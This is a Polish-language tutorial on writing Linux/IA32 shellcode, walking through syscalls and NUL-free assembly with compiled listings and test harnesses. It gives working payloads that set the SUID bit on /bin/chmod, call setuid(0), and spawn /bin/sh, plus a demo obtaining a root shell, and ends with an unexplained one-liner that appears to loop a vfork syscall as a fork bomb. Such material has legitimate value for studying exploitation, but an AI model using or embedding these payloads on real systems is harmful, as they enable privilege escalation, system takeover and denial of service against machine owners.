------------------------------------------------------------------------------- Linux/IA32 shellcode writing HOWTO (c) Marcin Ulikowski ------------------------------------------------------------------------------- Podstawy podstaw... ------------------------------------------------------------------------------- Na początek trochę teorii, która jest absolutnie niezbędna aby dobrze zrozumieć informacje zawarte w dalszej części tego dokumentu. Przyjmujemy, że pracujemy na systemie Linux na procesorze zgodnym z IA32 (Intel Architecture 32), czyli 32-bitowymi procesorami zgodnymi z 80386. Oznacza to, że wszystkie przedstawione kody będą działały tylko na platformie Linux/IA32. Wraz ze zmianą CPU lub systemu będziemy musieli używać innego shellcode. Wszystkie przedstawione kody źródłowe napisane są w języku C oraz przy użyciu inline assemblera gcc, dlatego niezbędna jest znajomość podstaw assemblera, języka C, systemu Linux oraz organizacji procesu w pamieci. Bardzo przydatna będzie znajomość takich narzędzi jak objdump czy gdb. Krótki tutorial ------------------------------------------------------------------------------- Używana składnia kodu assemblera to AT&T, która znacznie różni się od Intel. W składni AT&T nazwy rejestrów są poprzedzone '%', natomiast liczby '$'. Dlatego rejestry będą przedstawiane w formie %eax, zamiast eax. Kolejność operandów jest następująca: pierwsze źrodło, następnie przeznaczenie. Przykładowo movl %esp,%eax zamiast mov eax,esp. Długość operandu jest określona przez przyrostek w nazwie instrukcji. Przyrostkiem jest 'b' dla bajtu (8 bitów), 'w' dla słowa (16 bitów) oraz 'l' dla podwójnego słowa (32 bity). Dla przykładu prawidłową składnią będzie movb %al,%bl, movw $0xffff,%ax czy tez xorl %eax,%eax. Nasz procesor posiada 32-bitowe rejestry ogólnego przeznaczenia (%eax, %ebx, %ecx, %edx (%esp, %ebp, %esi, %edi)). Można je traktować jako zmienne do których procesor ma bardzo szybki dostęp. %eax (32 bit), %ax (16 bit), %ah, %al (8 bit) ; akumulator %ebx (32 bit), %bx (16 bit), %bh, %bl (8 bit) ; rejestr bazowy %ecx (32 bit), %cx (16 bit), %ch, %cl (8 bit) ; rejestr zliczający %edx (32 bit), %dx (16 bit), %dh, %dl (8 bit) ; rejestr danych Możliwy jest także dostęp do ich 16-bitowych części oraz do ich młodszego (low) i starszego (high) bajtu. Rejestry wskaźnikowe oraz indeksowe stanowią podzbiór rejestrów ogólnego przeznaczenia. %esp (32 bit), %sp (16 bit) ; wskaźnik stosu %ebp (32 bit), %bp (16 bit) ; wskaźnik bazy %esi (32 bit), %si (16 bit) ; rejestr źrodła %edi (32 bit), %di (16 bit) ; rejestr przeznaczenia Czym jest shellcode? ------------------------------------------------------------------------------- Shellcode to nic innego tylko gotowe do wykonania instrukcje procesora przedstawione w formie hexdecymalnej, najczęściej jako tablica znaków (tzw. "opcodes"). Instrukcje procesorów zgodnych z IA32 mają różną długość, czyli zajmują różną ilość pamięci komputera. Przykładowo instrukcja pushl %ebp ma długość 8 bitów, a instrukcja movl %esp,%ebp ma długość 16 bitów. Natomiast na procesorach np. SPARC instrukcje mają stałą długość 32 bitów (4 bajtów). Instrukcje mogą być dowolne, jednak powinny być możliwie dobrze zoptymalizowane (aby miały jak najmniejszą długość) oraz nie powinny zawierać znaków NUL. Dlaczego? Znak NUL w języku C jest traktowany jako koniec ciągu znaków. Wszelkie funkcje kopiujące traktują ten znak jako granicę. Łatwo jest się domyślić, że jeśli taka funkcja napotka znak NUL w naszym shellcode, zostanie on skopiowany jedynie w części. Sama nazwa shellcode wzięła się z faktu, iż najczęściej jest to kod, który uruchamia dla nas powłokę z większymi uprawnieniami. Funkcje systemowe (system calls) ------------------------------------------------------------------------------- Funkcje możemy podzielić na systemowe (udostępniane przez kernel systemu) oraz biblioteczne (oferowane przez różne biblioteki). Funkcje systemowe (będziemy także używać nazwy syscalls dla ułatwienia) tworzą "pomost" między wykonywalnym programem, a systemem operacyjnym. Można z nich także korzystać za pomocą instrukcji w assemblerze. Syscalls można podzielić na kilka kategorii: nadzorujące procesy, operujące na plikach, operujące na urządzeniach, komunikacji oraz utrzymywania informacji. Z punktu widzenia programu funkcje systemowe ukryte są w bibliotece libc, więc program nie wie czy dana funkcja dostarczana jest bezpośrednio przez jądro systemu, czy też implementuje ją libc. Każde syscall posiada swój własny numer. W systemie Linux, można je odczytać przeglądając jego źrodła. Sprawdzimy numer syscall exit(), które należy do grupy wywołań nadzorujących procesy: (elceef!satori /usr/include/asm-i386)$ grep -m 1 __NR_exit unistd.h #define __NR_exit 1 (elceef!satori /usr/include/asm-i386)$ Numery syscall są zawsze umieszczane w rejestrze %eax. Jeśli liczba argumentów jest mniejsza od 6, wtedy są one przechowywane w kolejnych rejestrach (%ebx, %ecx, %edx, %esi, %edi). Przykładowo syscall write() i jego prototyp: ssize_t write(int fd, const void *buf, size_t count); fd znajdzie się w rejstrze %ebx, buf (w zasadzie adres) w %ecx, count w %edx, natomiast __NR_write w %eax. Status operacji także zwracany jest w rejestrze %eax. Gdy operacja wykona się bezbłędnie jego wartość jest równa 0, w przeciwnym wypadku jest to stała z pliku asm/errno.h. Jeśli liczba argumentów jest większa od 5, wtedy w rejestrze %ebx umieszczany jest wskaźnik do pierwszego elementu listy argumentów, które muszą być umieszczone gdzieś w pamięci (np. na stosie) w odwrotnej kolejności. Wszystkie funkcje systemowe są wykonywane po użyciu przerwania systemowego int $0x80 (tzw. przejście w tryb jądra). Więcej o konkretnych funkcjach systemowych dowiesz się z drugiego rozdziału podręcznika systemowego man. Najprostszy shellcode ------------------------------------------------------------------------------- Napiszemy shellcode, który uruchomi syscall void _exit(int status); Wbrew pozorom jest on bardzo użyteczny i na pewno przyda się później. Zaczniemy od napisania odpowiedniego kodu assemblera. Kod ten zawsze będziemy umieszczać w makrze __asm__(); (lub także asm(); dla pojedyńczych instrukcji): (elceef!satori ~)$ cat exit.c int main() { __asm__( "movb $0x7b,%bl" "movb $0x1,%al" "int $0x80" ); return 0; } W rejestrze %bl znajduje się pierwszy (jedyny) argument, czyli zwracany kod wyjścia. W rejestrze %al umieszczamy kod wywołania exit(); Następnie używamy przerwania int $0x80 aby przejść w tryb jądra i wykonać funkcję. (elceef!satori ~)$ gcc -Wall -o exit exit.c (elceef!satori ~)$ ./exit (elceef!satori ~)$ echo $? 123 Widzimy, że kod działa i zwraca kod wyjścia 123 ($0x7b). Zobaczmy wybrany kod assemblera używając objdump. Otrzymamy także tzw. "opcodes", czyli gotowy shellcode, który można umieścić w tablicy znakowej. (elceef!satori ~)$ objdump -d exit |grep -A 5 \ 080483c0
: 80483c0: 55 push %ebp 80483c1: 89 e5 mov %esp,%ebp 80483c3: b3 7b mov $0x7b,%bl 80483c5: b0 01 mov $0x1,%al 80483c7: cd 80 int $0x80 Pierwsze dwie instrukcje to prolog funkcji main(). W kolejnych widzimy, że w rejestrze %ebx została umieszczona wartość $0x7b (w systemie decymalnym jest to 123). Natomiast w %al numer syscall exit(). Teraz mamy już wszystko czego potrzebujemy do napisania shellcode exit(123); (elceef!satori ~)$ cat exit-sh.c char shellcode[] = "\xb3\x7b" /* movb $0x7b,%bl */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80"; /* int $0x80 */ int main() { void (*f)() = (void*)shellcode; f(); return 0; } (elceef!satori ~)$ gcc -Wall -o exit-sh exit-sh.c (elceef!satori ~)$ ./exit-sh (elceef!satori ~)$ echo $? 123 Shellcode chmod("/bin/chmod", 04777) ------------------------------------------------------------------------------- Ustawimy bit SUID /bin/chmod, którego właścicielem jest użytkownik root. Nie muszę mówić czym to grozi. Syscall chmod() ma numer 15. (elceef!satori ~)$ grep -m 1 __NR_chmod /usr/include/asm-i386/unistd.h #define __NR_chmod 15 (elceef!satori ~)$ cat chmod.c int main() { /* chmod("//bin//chmod", 04777); */ __asm__( "xorl %eax,%eax" "xorl %ecx,%ecx" "pushl %ecx" "movw $0x9ff,%cx" "pushl $0x646f6d68" "pushl $0x632f2f6e" "pushl $0x69622f2f" "mov %esp,%ebx" "movb $0xf,%al" "int $0x80" ); return 0; } Mamy gotowe instrukcje inline assemblera. Jednak o co własciwie chodzi? Zerujemy rejestry %eax i %ecx. Nie możemy użyć intrukcji movl. Koniecznie xorl, aby wyeliminować znak NUL. xorl %eax,%eax xorl %ecx,%ecx Kładziemy wartość NUL na stosie. Nie możemy zwyczajnie położyć zera, dlatego położymy wartość rejestru %ecx. pushl %ecx Umieszczamy wartość $0x9ff (która odpowiada 04777 w systemie ósemkowym) w %cx. Przenosimy dane długości 2 bajtów dlatego użyjemy intrukcji movw oraz rejestru %cx (długości 16 bitów). Będzie to jeden z argumentów chmod(); movw $0x9ff,%cx Umieszczamy na stosie ciąg "//bin//chmod". Musimy to zrobić w odwrotnej kolejności, ponieważ na procesorach Intel stos "rośnie" w kierunku niższych adresów pamięci. Długość ciągu umieszczonego przez pushl musi być wielokrotnością liczby 4, dlatego zamiast "/bin/chmod" uzyjemy "//bin//chmod", dzięki czemu unikniemy znaków NUL. pushl $0x646f6d68 pushl $0x632f2f6e pushl $0x69622f2f Kopiujemy adres wierzchołka stosu (z rejestru %esp) do rejestru %ebx, ponieważ rejestr %esp zawiera teraz adres ciągu "//bin//chmod" położonego na stosie. Tworzymy w ten sposób pierwszy argument, który jest adresem. Nie możemy umieścić "//bin//chmod" w rejestrze. mov %esp,%ebx Umieszczamy wartość $0xf w rejestrze %al, która odpowiada numerowi syscall chmod(). Używamy instrukcji movb oraz rejestru %al, ponieważ przenosimy dane długości 1 bajta (8 bitów). movb $0xf,%al Wywołujemy przerwanie $0x80, aby przejść w tryb jądra. int $0x80 (elceef!satori ~)$ gcc -Wall -o chmod chmod.c (elceef!satori ~)$ objdump -d chmod |grep -A 12 \ 080483c0
: 80483c0: 55 push %ebp 80483c1: 89 e5 mov %esp,%ebp 80483c3: 31 c0 xor %eax,%eax 80483c5: 31 c9 xor %ecx,%ecx 80483c7: 51 push %ecx 80483c8: 66 b9 ff 09 mov $0x9ff,%cx 80483cc: 68 68 6d 6f 64 push $0x646f6d68 80483d1: 68 6e 2f 2f 63 push $0x632f2f6e 80483d6: 68 2f 2f 62 69 push $0x69622f2f 80483db: 89 e3 mov %esp,%ebx 80483dd: b0 0f mov $0xf,%al 80483df: cd 80 int $0x80 Napiszemy gotowy shellcode dodając wcześniej stworzony dla exit(); co pozwoli "czysto" zakończyć działanie programu. (elceef!satori ~)$ cat chmod-sh.c char shellcode[] = "\x31\xc0" /* xorl %eax,%eax */ "\x31\xc9" /* xorl %ecx,%ecx */ "\x51" /* pushl %ecx */ "\x66\xb9\xff\x09" /* movw $0x9ff,%cx */ "\x68\x68\x6d\x6f\x64" /* pushl $0x646f6d68 */ "\x68\x6e\x2f\x2f\x63" /* pushl $0x632f2f6e */ "\x68\x2f\x2f\x62\x69" /* pushl $0x69622f2f */ "\x89\xe3" /* movl %esp,%ebx */ "\xb0\x0f" /* movb $0xf,%al */ "\xcd\x80" /* int $0x80 */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80"; /* int $0x80 */ int main() { void (*f)() = (void*)shellcode; f(); return 0; } (elceef!satori ~)$ gcc -Wall -o chmod-sh chmod-sh.c (elceef!satori ~)$ ls -l /bin/chmod -rwxr-xr-x 1 root bin 17444 May 28 2002 /bin/chmod (elceef!satori ~)$ ./chmod-sh (elceef!satori ~)$ ls -l /bin/chmod -rwsrwxrwx 1 root bin 17444 May 28 2002 /bin/chmod Podnoszenie uprawnień ------------------------------------------------------------------------------- Do podniesienia naszych uprawnień w systemie, czyli uzyskania euid=0 posłużymy się wywołaniem systemowym int setuid(uid_t euid); Po otrzymaniu uprawnień superużytkownika będziemy mogli uruchomić powłokę z jego uprawnieniami, co oznacza, że dostaniemy dostęp do całego systemu. Nasz syscall wymaga jednego argumentu, w dodatku musi mieć wartość 0. (elceef!satori ~)$ cat setuid.c int main() { __asm__( "xorl %eax,%eax" "xorl %ebx,%ebx" "movb $0x17,%al" "int $0x80" ); return 0; } (elceef!satori ~)$ grep -m 1 __NR_setuid /usr/include/asm-i386/unistd.h #define __NR_setuid 23 Argument ma mieć wartość zero, dlatego zerujemy rejestr %ebx. Zerujemy także %eax aby nie było problemów z numerem syscall. xorl %eax,%eax xorl %ebx,%ebx Umieszczamy w %al numer syscall i przechodzimy w tryb jądra. movb $0x17,%al int $0x80 (elceef!satori ~)$ gcc -Wall -o setuid setuid.c (elceef!satori ~)$ objdump -d setuid |grep -A 8 \ 080483c0
: 80483c0: 55 push %ebp 80483c1: 89 e5 mov %esp,%ebp 80483c3: 31 c0 xor %eax,%eax 80483c5: 31 db xor %ebx,%ebx 80483c7: b0 17 mov $0x17,%al 80483c9: cd 80 int $0x80 80483cb: b0 01 mov $0x1,%al 80483cd: cd 80 int $0x80 Stworzymy teraz kod demonstrujący działanie nowego shellcode. (elceef!satori ~)$ cat setuid-sh.c char shellcode[] = /* setuid(0); */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* exit(); */ "\xb0\x01" /* movb $0x1,%al */ "\xcd\x80"; /* int $0x80 */ int main() { void (*f)() = (void*)shellcode; f(); return 0; } (elceef!satori ~)$ gcc -Wall -o setuid-sh setuid-sh.c (elceef!satori ~)$ su (root!satori /home/elceef)# strace ./setuid-sh ... setuid(0) = 0 _exit(0) = ? Shellcode uruchamiający powłokę ------------------------------------------------------------------------------- Do uruchomienia powłoki użyjemy syscall execve(). Dla ułatwienia zobaczmy jak wygląda zwykły kod w C, który uruchamia /bin/sh: (elceef!satori ~)$ cat execve-bin-sh.c #include int main() { char *sh[2]; sh[0] = "/bin/sh"; sh[1] = NULL; execve(sh[0], sh, NULL); return 0; } Widzimy, że argumentami syscall execve() są wskaźniki do nazwy programu, oraz do tablicy zawierającej nazwę i NULL. Trzeci argument możemy zastąpić NULL, ponieważ nie będzie nam potrzebny. (elceef!satori ~)$ cat execve.c int main() { __asm__( "xorl %eax,%eax" "pushl %eax" "pushl $0x68732f2f" "pushl $0x6e69622f" "movl %esp,%ebx" "pushl %eax" "pushl %ebx" "movl %esp,%ecx" "cltd" "movb $0xb,%al" "int $0x80" ); return 0; } (elceef!satori ~)$ grep -m 1 __NR_execve /usr/include/asm-i386/unistd.h #define __NR_execve 11 Umieszczamy NUL w rejestrze %eax. xorl %eax,%eax Kładziemy zero (NUL) na stosie jako znak końca nazwy programu. pushl %eax Kładziemy na stos "/bin//sh" w odwrotnej kolejności. pushl $0x68732f2f pushl $0x6e69622f Teraz %esp zawiera adres "/bin//sh", który przed chwilą został odłożony na stosie. Zapisujemy ten adres do rejestru %ebx, tym samym tworząc pierwszy argument syscall execve(). movl %esp,%ebx Rejestr %eax wciąż zawiera NUL. Położymy go ponownie na stosie jako koniec tablicy, do której wskaźnik jest kolejnym argumentem. pushl %eax Rejestr %ebx posiada adres do "/bin//sh". Położymy ten adres na stosie. Utworzymy w ten sposób gotową tablicę *sh[]. pushl %ebx Tworzymy drugi argument - wskaźnik do utworzonej tablicy. Rejestr %esp zawiera adres owej tablicy, więc skopiujemy jego zawartość do rejestru %ecx. movl %esp,%ecx Ostatni argument ma mieć zerową wartość. Użyta instrukcja spowoduje skopiowanie zawartości rejestru %eax (który zawiera NUL) do %edx. Możemy także użyć dłuższej instrukcji xorl, jednak w ten sposób zaoszczędzimy jeden bajt. cltd Umieszczamy w rejestrze %al numer wywołania i przechodzimy w tryb jądra. movb $0xb,%al int $0x80 Oto jak będzie wyglądał stos po wykonaniu powyższego kodu: +----------+ | .... | | .... | |___NULL___| |__"//sh"__| |__"/bin"__| |___NULL___| |___addr___| (adres "/bin//sh" z %ebx) +----------+ (elceef!satori ~)$ gcc -Wall -o execve execve.c (elceef!satori ~)$ objdump -d execve |grep -A 13 \ 080483c0
: 80483c0: 55 push %ebp 80483c1: 89 e5 mov %esp,%ebp 80483c3: 31 c0 xor %eax,%eax 80483c5: 50 push %eax 80483c6: 68 2f 2f 73 68 push $0x68732f2f 80483cb: 68 2f 62 69 6e push $0x6e69622f 80483d0: 89 e3 mov %esp,%ebx 80483d2: 50 push %eax 80483d3: 53 push %ebx 80483d4: 89 e1 mov %esp,%ecx 80483d6: 99 cltd 80483d7: b0 0b mov $0xb,%al 80483d9: cd 80 int $0x80 Teraz pozostaje jedynie przetestować otrzymany shellcode: (elceef!satori ~)$ cat execve-sh.c char shellcode[] = "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cltd */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80"; /* int $0x80 */ int main() { void (*f)() = (void*)shellcode; f(); return 0; } (elceef!satori ~)$ gcc -Wall -o execve-sh execve-sh.c (elceef!satori ~)$ ./execve-sh sh-2.05a$ exit exit Demo (nie próbujcie tego w domu ;) ------------------------------------------------------------------------------- (elceef!satori ~)$ cat demo.c char shellcode[] = /* setuid(0); */ "\x31\xc0" /* xorl %eax,%eax */ "\x31\xdb" /* xorl %ebx,%ebx */ "\xb0\x17" /* movb $0x17,%al */ "\xcd\x80" /* int $0x80 */ /* execve(); */ "\x31\xc0" /* xorl %eax,%eax */ "\x50" /* pushl %eax */ "\x68\x2f\x2f\x73\x68" /* pushl $0x68732f2f */ "\x68\x2f\x62\x69\x6e" /* pushl $0x6e69622f */ "\x89\xe3" /* movl %esp,%ebx */ "\x50" /* pushl %eax */ "\x53" /* pushl %ebx */ "\x89\xe1" /* movl %esp,%ecx */ "\x99" /* cltd */ "\xb0\x0b" /* movb $0xb,%al */ "\xcd\x80"; /* int $0x80 */ int main() { void (*f)() = (void*)shellcode; f(); return 0; } (elceef!satori ~)$ gcc -Wall -o demo demo.c (elceef!satori ~)$ su (root!satori /home/elceef)# chown root:root demo (root!satori /home/elceef)# chmod +s demo (root!satori /home/elceef)# exit (elceef!satori ~)$ ./demo sh-2.05a# whoami root sh-2.05a# exit exit Słowo na koniec... ------------------------------------------------------------------------------- main(){char*s="\xb0\xbe\xcd\x80\xeb\xfa";void(*f)()=(void*)s;f;}